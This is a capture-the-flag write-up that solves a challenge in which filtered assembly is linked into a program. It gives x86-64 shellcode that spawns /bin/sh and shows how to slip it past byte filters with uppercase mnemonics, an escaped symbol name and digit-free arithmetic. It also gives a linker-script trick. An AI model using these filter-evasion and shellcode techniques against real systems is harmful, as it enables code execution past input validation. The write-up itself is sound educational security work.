Links

So What? Revenge

Description

Are you a shellcoding pro? If not, so what? (salt guaranteed once you know the solution)
handout.py
2KB
Text

Solution

In this challenge, we were allowed to send an assembly source file that would be assembled with as. There are a number of filters that were being applied to our input.
last_byte = b""
binary = b""
while True:
byte = sys.stdin.buffer.read(1)
binary += byte
# allow cancer constraints here
# man, I really wish there was a way to avoid all this pain!!!
# lmao
if b"\x80" <= byte < b"\xff": # 1. printable shellcode
quit()
if byte in b"/bi/sh": # 2. no shell spawning shenanigans
quit()
if b"\x30" <= byte <= b"\x35": # 3. XOR is banned
quit()
if b"\x00" <= byte < b"\x05": # 3. ADD is banned
quit()
if byte == b"\n" and last_byte == b"\n":
break
last_byte = byte
if len(binary) >= 0x1000:
exit(1)
with open("libyour_input.so", "wb") as f:
f.write(binary)
print("Assembling!")
os.system("as libyour_input.so -o libyour_input.obj && ld libyour_input.obj -shared -o libyour_input.so")
The assembled library is then linked against main. A libflag.so is also compiled with flag defined, allowing it to have the win() function.
main_source = """
#include <stdio.h>
extern int win();
#ifdef flag
int win() {
printf("Congratulations!\\n");
printf("FLAG_HERE");
}
#endif
int main() {
win();
}
"""
with open("main.c", "w") as f:
f.write(main_source)
os.system("gcc main.c -shared -o libflag.so -Dflag")
os.system("gcc main.c -L. -lyour_input -o main")
os.system("LD_LIBRARY_PATH='.' ./main")

Unintended Solution

My unintended solution was to simply tackle the challenge the way it was presented, and evade the filters.
Let's first assume that the filters weren't there. Our goal would be to export a win function in our shared library, which is run by main. The following shellcode spawns a /bin/sh shell.
.globl win
win:
xor %rdx, %rdx
mov $7526411553527181103, %rbx
shr $8, %rbx
push %rbx
mov %rsp, %rdi
push %rax
push %rdi
mov %rsp, %rsi
mov $59, %al
syscall
ret
The first challenge we face is that we cannot have any of the characters in "/bi/sh".
if byte in b"/bi/sh": # 2. no shell spawning shenanigans
quit()
This can be evaded in our instructions by simply using uppercased code (which the assembler accepts), but dealing with the win label itself is a bit more tricky. We can't just use WIN since that would export a different symbol than the lowercased win we need.
We ended up creating the win label using .set, which expects a symbol name that can be a quoted value. To set the correct address, we use . which means the current position.
.set symbol, expression
The .set directive assigns the value of expression to symbol. Expression can be any legal expression that evaluates to a numerical value.
Great! This cursed code actually works, and linking it against main spawns a shell when running main.
.GLOBL "w\x69n"
.SET "w\x69n", .
XOR %RDX, %RDX
MOV $7526411553527181103, %RBX
SHR $8, %RBX
PUSH %RBX
MOV %RSP, %RDI
PUSH %RAX
PUSH %RDI
MOV %RSP, %RSI
MOV $59, %AL
SYSCALL
RET
The final piece of the puzzle is to get rid of all digits 0 to 5, since they correspond to the ASCII codes \x30 to \x35.
if b"\x30" <= byte <= b"\x35":
quit()
Since the MOV operands are expressions, we could make use of mathematical operations to arrive at the number we need. For instance:
77768999999999 * 96779 + 788777778*6976 + 6798666 + 6699888 == 7526411553527181103
And that was just what we needed to complete the shellcode!
.GLOBL "w\x69n"
.SET "w\x69n", .
XOR %RDX, %RDX
MOV $77768999999999*96779 + 788777778*6976 + 6798666 + 6699888, %RBX
SHR $8, %RBX
PUSH %RBX
MOV %RSP, %RDI
PUSH %RAX
PUSH %RDI
MOV %RSP, %RSI
MOV $66-7, %AL
SYSCALL
RET
Popping this into the challenge gives us a shell.

Intended Solution

The libflag.so was there for a reason! Notice that since os.system() does not raise an exception if the executed commands error out, we could just write to the libyour_input.so directly without ever writing assembly code.
This meant that we could write a linker script that just links libflag.so.
INPUT ( -lflag )